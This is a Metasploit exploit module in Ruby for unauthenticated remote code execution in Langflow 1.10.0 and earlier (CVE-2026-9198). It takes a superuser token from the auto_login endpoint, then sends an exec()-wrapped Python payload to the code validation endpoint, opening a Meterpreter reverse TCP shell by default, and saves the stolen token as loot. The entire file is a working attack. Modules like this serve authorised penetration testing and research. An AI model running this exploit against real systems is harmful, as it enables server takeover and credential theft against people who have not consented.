# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Langflow AI auto_login RCE',
        'Description' => %q{
          Langflow versions 1.10.0 and below are susceptible to
          unauthenticated remote code execution. By chaining
          /api/v1/auto_login with /api/v1/validate/code, a remote
          unauthenticated attacker can send crafted HTTP requests to execute
          arbitrary code.
        },
        'Author' => [
          'Richard Howe <rhowe425>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-9198'],
          ['URL', 'https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-9198']
        ],
        'Targets' => [
          [
            'Python payload',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'DefaultOptions' => {
                'PAYLOAD' => 'python/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Payload' => {
          'BadChars' => '"'
        },
        'DisclosureDate' => '2026-07-17',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(7860),
        OptString.new(
          'TARGETURI',
          [true, 'Base path of the Langflow application', '/']
        )
      ]
    )
  end

  def get_token
    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/api/v1/auto_login'),
        'ctype' => 'application/json'
      }
    )

    return unless res && res.code == 200

    json = res.get_json_document
    return unless json.is_a?(Hash)

    json['access_token']
  end

  def check
    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'api/v1/version')
      }
    )

    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

    doc = res.get_json_document
    version_str = doc.is_a?(Hash) ? doc['version'] : nil
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str

    package = doc.is_a?(Hash) ? doc['package'] : nil
    return Exploit::CheckCode::Unknown('Failed to identify application.') unless package
    return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'

    version = Rex::Version.new(version_str.to_s)
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version

    # Vulnerable version of Langflow
    return Exploit::CheckCode::Appears("Version #{version} detected, which appears vulnerable.") if version < Rex::Version.new('1.10.1')

    # Patched version of Langflow
    Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.")
  end

  def exploit
    # Get SUPERUSER token
    token = get_token

    if token.to_s.empty?
      fail_with(Failure::UnexpectedReply, 'Could not retrieve SUPERUSER API key from /api/v1/auto_login')
    end

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'api/v1/validate/code'),
        'headers' => {
          'Content-Type' => 'application/json',
          'Authorization' => "Bearer #{token}"
        },
        'data' => {
          'code' => "@exec(\"#{payload.encode}\")\ndef #{rand_text_alpha(6)}():\n    pass"
        }.to_json
      }
    )
    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 200

    loot_path = store_loot(
      'langflow.token',
      'text/plain',
      rhost,
      token,
      'langflow_token.txt',
      'Langflow SUPERUSER access token retrieved from first stage of exploit.'
    )

    print_good("Langflow SUPERUSER access token stored in #{loot_path}")
  end
end